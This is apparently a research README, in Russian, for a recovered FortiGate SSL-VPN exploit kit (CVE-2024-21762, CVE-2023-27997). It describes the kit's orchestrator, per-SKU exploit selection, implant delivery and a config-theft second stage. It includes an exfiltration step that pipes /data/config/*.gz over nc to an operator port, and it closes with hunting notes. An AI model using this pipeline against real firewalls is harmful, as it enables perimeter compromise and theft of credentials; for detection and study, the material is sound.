The FortiGate SSL-VPN pot of gold. CVE-2024-21762 и CVE-2023-27997. 79 рабочих эксплойт-клиентов. 53 аппаратных SKU. 55 сборок FortiOS.
Исследовательский архив. Восстановлен в том виде, в каком был найден. Я не писал эти файлы.
Опубликовано: 1 сентября 2026 года
Этот репозиторий — оркестратор, полезные нагрузки второй стадии и операторские слушатели, которые работают поверх каталога эксплойтов FortiGate SSL-VPN для каждой SKU. Полная история, статистика и заметки по охоте находятся в серии The SSL-VPN pot of gold на Abraxas Labs.
Не запускайте этот материал против любого хоста без явного письменного разрешения как от стороны, разместившей этот репозиторий, так и от владельца целевых систем. Соответствующие CVE были публичными и исправленными до этого релиза. Это дерево предназначено для исследований, обнаружения и исторического анализа.
Я нашёл частный набор инструментов FortiGate SSL-VPN в дикой природе. Первая выгрузка представляла собой каталог рабочих клиентов: файлы вроде и . Каждый файл — это . Два публичных n-day, перештампованных по всему железу и прошивкам, пока папка не стала похожа на каталог запчастей.
exp/exp_60E-v6.4.7.pyЗолото — это матрица смещений, а не новая уязвимость. Этот аргумент изложен в Фазе 0 серии. Фаза 1 рассматривает два примитива как поведение. Фаза 2 — это поисковая карта SKU / train / CPU. Фаза 3 — охота.
Этот репозиторий — остальная часть того же набора, а не второе семейство эксплойтов.
exp/ — это клиенты для каждого образа, уже описанные в серии.shellcode/ — это загрузчик, получение импланта и слушатели кражи конфигурации, для вызова которых были написаны эти клиенты.exp_*.py никогда не содержали имплант. Они знали только, как (1) получить сырые байты с «сервера шеллкода» или (2) выполнить GET /s.js и eval. Эти недостающие части находятся здесь.Примитивы:
| Семейство | CVE | Консультация Fortinet | Публичный статус |
|---|---|---|---|
| A | CVE-2024-21762 | FG-IR-24-015 | Assetnote — Two Bytes is Plenty |
| B | CVE-2023-27997 | FG-IR-23-097 | Lexfo — XORtigate, Bishop Fox |
Оба находятся в каталоге известных эксплуатируемых уязвимостей CISA. poc.py не реализует ни одну из этих CVE. Он выбирает и оборачивает два уже классифицированных семейства (chunked-write 21762; enc= heap overflow 27997).
.
├── poc.py # загрузчик pocsuite3 / снятие отпечатка / менеджер процессов
├── s.js # вторая стадия на Node (кража конфигурации)
├── send_cmd.py # обработчик обратного вызова для пути stager
├── init.sh # установка пакетов на рабочую станцию оператора
├── requirements.txt # pwntools
├── exp/
│ └── exp_<SKU>-v<FortiOS>.py
└── shellcode/
├── shellcode_server.py # передача блоба с префиксом длины
├── shellcode_arm # ~2.0 МБ сырой второй стадии
└── shellcode_amd64 # ~2.7 МБ сырой второй стадии
exp/index.html и shellcode/index.html — обычные листинги каталогов Python http.server. Они лишь показывают, что это дерево в какой-то момент размещалось как веб-корень.
Эта копия exp/ — более ранний каталог плюс четыре дополнительных клиента: exp_30E-v6.2.4.py, exp_30E-v6.2.12.py, exp_30E-v6.2.14.py, exp_40F-v7.0.5.py.
poc.py оркестратор (pocsuite3)
│
├─ снятие отпечатка портала ─ VERSION_LIBS (hash → SKU + FortiOS)
├─ выбор файла ────────────── exp/exp_<SKU>-v<ver>.py
│
├─ если клиент типа "stager" (Family A ARM / некоторые amd64)
│ запуск shellcode/shellcode_server.py
│ читает shellcode/shellcode_arm или shellcode_amd64
│ запуск send_cmd.py (ожидание обратного вызова)
│ запуск приёмника конфигурации на :9999
│ запуск выбранного exp_*.py
│
└─ если клиент типа "Node /s.js" (большинство Family B + многие Family A)
раздача s.js по HTTP
запуск приёмника конфигурации на :9999
запуск выбранного exp_*.py
→ межсетевой экран GET /s.js → eval → эксфильтрация
Конвейер одной строкой: идентификация → выбор файла смещений → повреждение sslvpnd → получение импланта → эксфильтрация /data/config/*.gz → архивирование на стороне оператора.
Последний шаг — суть. Попадание — это неаутентифицированное выполнение кода в sslvpnd на самом межсетевом экране — терминаторе TLS, политике маршрутизации, VPN-сессиях, часто привязках LDAP/RADIUS. FortiOS не предоставляет полезного /bin/sh. Публичные исследования и этот набор оба идут через внутренний помощник команд и/или /bin/node, который FortiOS действительно поставляет. Считайте подтверждённое попадание компрометацией сетевого периметра, а не падением демона. См. Что означает попадание.
poc.py — загрузчикОператорский интерфейс (pocsuite3 POCBase). Он не реализует CVE-2024-21762 или CVE-2023-27997.
https://<target>/remote/login?lang=en (запасной вариант GB2312)./sslvpn/js/login.js?q=<md5>.VERSION_LIBS (182 строки hash,SKU,version). Именно эта таблица позволяет набору выбирать среди 50+ устройств без указания SKU оператором. Те же SKU, что и в матрице, на основе публичного хэша ресурса SSL-VPN, а не SNMP или управляющего API.exp/exp_<SKU>-v<version>.py.s.js → тип 2 (загрузчик Node)Shellcode Server → тип 1 (stager); затем ищет arm или amd64 в скриптеPopen для exp_*.py с аргументами host/port/callback.Адрес оператора по умолчанию в этой копии: HOST_IP из окружения, иначе ATTACKER_HOST. Литеральные IPv4-адреса в этом дереве заменены ролевыми метками (порты не изменены):
| Метка | Роль | Где встречалась |
|---|---|---|
TARGET_HOST | Атакуемый FortiGate | Никогда не захардкожен; rhost / target из argv (см. poc.py) |
ATTACKER_HOST | Рабочая станция оператора | По умолчанию HOST_IP в poc.py; адреса привязки в poc.py, send_cmd.py, shellcode/shellcode_server.py; заполнители s.js / TFTP в exp_*.py, заполняемые lhost |
C2_HOST | Запечённый обратный вызов в этой копии импланта | s.js — не lhost, передаваемый в эксплойт |
| Порт | Роль |
|---|---|
| 7777 | Обратный вызов / send_cmd.py |
| 8888 | Сервер шеллкода |
| 9999 | Приёмник конфигурации (совпадает с эксфильтрацией в s.js и send_cmd.py) |
Если хэш портала отсутствует в VERSION_LIBS, он останавливается с сообщением «unknown target hash». Если хэш совпадает, но файл exp/ отсутствует — «no exp».
s.js — недостающая вторая стадия на NodeЭто файл, который клиенты Family B / Node Family A получают после execute_cmd. Это не обычный обратный шелл.
C2_HOST:9999 (хост C2, не TARGET_HOST и не lhost / ATTACKER_HOST, передаваемые в эксплойт — эта копия была запечена под один операторский обратный вызов)./data/config/ на межсетевом экране.*.gz, не являющиеся симлинками (сжатые объекты конфигурации FortiOS).Это кража конфигурации. Это объясняет, почему poc.py также слушает на 9999 и собирает файлы в результат base64. Ищите C2_HOST на порту 9999 из любого исходящего трафика FortiGate. Заметки по охоте: Фаза 3.
send_cmd.py — обработчик обратного вызова для пути stagerИспользуется, когда выбранный exp_*.py относится к типу шеллкода ARM/amd64 (в использовании упоминается сервер шеллкода).
cd /data/config и cat каждого *.gz в nc <LHOST> 9999.s.js (кража конфигурации), другой транспорт (обратный вызов шелла вместо Node).Закомментированный вариант использовал фрейминг base64 вместо сырого cat.
shellcode/shellcode_server.py — передача байтов для stager'ов Family AСоответствует протоколу, уже видимому в заглушках ARM32 exp_*.py:
poc.py использует 8888).shellcode_<arch> из того же каталога.Stager'ы exp_*.py подключаются сюда, отображают память с правами записи и исполнения, получают блоб, затем подключаются обратно к lhost:lport (7777 → send_cmd.py).
Сырые блобы второй стадии (~2.0 МБ ARM, ~2.7 МБ amd64). Это то, что загружает stager. Это не крошечная заглушка Thumb внутри Python-файлов; эти заглушки только получают эти файлы. Считайте их имплантом для пути, не использующего Node. Размер указывает на упакованные или статические полезные нагрузки, а не на несколько десятков инструкций.
init.sh — настройка рабочей станции оператораНе используется против межсетевого экрана. Устанавливает build-essential, binutils-arm-linux-gnueabihf и gcc-aarch64-linux-gnu. Это для сборки компонентов ARM/AArch64 на атакующей машине на базе Debian. Соответствует автору, который компилирует stager'ы, а не только поставляет Python.
Одна строка: pwntools. Файлы exp_*.py и shellcode_server.py импортируют его. poc.py также требует pocsuite3, python-dotenv, mmh3 и requests.
exp/| Уже описано в серии | Роль в этом дереве |
|---|---|
Family A ARM exp_*.py (аргументы stager) | Первая стадия. Вызывает shellcode_server.py + shellcode_arm (или amd64), затем lhost:7777. |
Family A/B Node exp_*.py (/s.js) | Первая стадия. HTTP GET родительского s.js, затем eval. |
Варианты 6.0 D-series TFTP / /tmp/s | Та же цель s.js через TFTP; всё ещё ожидает этот файл на HTTP-корне оператора. |
Ничто в родительском каталоге не реализует третью CVE. Статистика, тепловая карта SKU и выравнивание train (Family A до 7.4.0 / 7.4.1; Family B в окне 27997) находятся в Фазе 0 и Фазе 2. Наиболее интенсивная перенастройка в исходном каталоге: FortiGate-60E, 100E, 60F, 100F — оборудование филиалов.
Первая выгрузка останавливалась на «получить обратный вызов». Тела второй стадии отсутствовали. Это дерево делает цель явной:
/data/config/*.gz, а не «общий RCE». Это компрометация учётных данных и топологии (пользователи VPN, маршруты, секреты, хранящиеся в этих объектах).VERSION_LIBS в poc.py — готовый список «какую SKU они считали этим хэшем».Разведка портала и URI первой стадии задокументированы в Hunting the kit. Отличительные, уже упомянутые в публичных отчётах и в этом дереве:
GET /remote/login и /sslvpn/js/login.js?q=/aaaa/bbbb, /remote/error, /remote/info, /remote/hostcheck_validate с enc=GET /s.js с межсетевого экранаC2_HOST:9999 внутри этой копии s.js (хост C2)ATTACKER_HOST портах 7777 / 8888 / 9999 (хост атакующего)TARGET_HOST — это rhost, указанный во время выполненияИщите исходящий трафик с межсетевого экрана (TARGET_HOST) на C2_HOST:9999 и на любой ATTACKER_HOST, который раздавал /s.js в соответствующем окне.
Из введения:
Публичный PoC против VM — это другой артефакт. Этот пакет — для того, кто ответил на разведку.
Если вы эксплуатируете FortiGate: инвентаризируйте модель, точную FortiOS, включён ли SSL-VPN, был ли портал доступен из недоверенных сетей. Затем прочитайте Фазу 2. Не инвентаризируйте только филиальные коробки серии 60, потому что эти имена файлов были самыми громкими.
Эти файлы были восстановлены в дикой природе в ходе независимого исследования безопасности. Я не создавал их. Они опубликованы в том виде, в каком были найдены, после того как соответствующие CVE были публично раскрыты и исправлены.
Только для исследовательских / образовательных целей. Не запускайте, не разворачивайте и не используйте этот материал против любого хоста без явного письменного разрешения как от стороны, разместившей этот репозиторий, так и от владельца целевых систем.